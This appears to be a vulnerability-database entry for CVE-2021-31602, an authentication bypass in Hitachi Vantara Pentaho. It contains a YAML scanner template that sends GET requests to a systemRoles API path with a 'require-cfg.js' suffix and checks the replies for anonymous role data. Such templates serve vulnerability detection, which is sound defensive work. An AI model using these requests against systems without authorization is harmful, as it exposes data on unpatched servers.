CVE-2021-31602: Pentahoa uthentication bypass

日期: 2025-09-01 | 影响软件: 未知 | POC: 已公开

漏洞描述

An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.

PoC代码[已公开]

id: CVE-2021-31602

info:
  name: Pentahoa uthentication bypass
  author: For3stCo1d
  severity: high
  description: |-
    An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-pentaho-unauth-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31602
    - https://ssd-disclosure.com/ssd-advisory--pentaho-unauth-rce
    - https://www.tenable.com/security/research/tra-2021-44
  tags: cve,cve2021,rce,pentaho
  created: 2021/12/20

rules:
  r0:
    request:
      method: GET
      path: /pentaho/api/userrolelist/systemRoles?require-cfg.js
    expression: response.status == 200 && response.headers["set-cookie"].contains("JSESSIONID=") && response.body.bcontains(b"<roles>Anonymous</roles></roleList>")
  r1:
    request:
      method: GET
      path: /api/userrolelist/systemRoles?require-cfg.js
    expression: response.status == 200 && response.headers["set-cookie"].contains("JSESSIONID=") && response.body.bcontains(b"<roles>Anonymous</roles></roleList>")
expression: r0() || r1()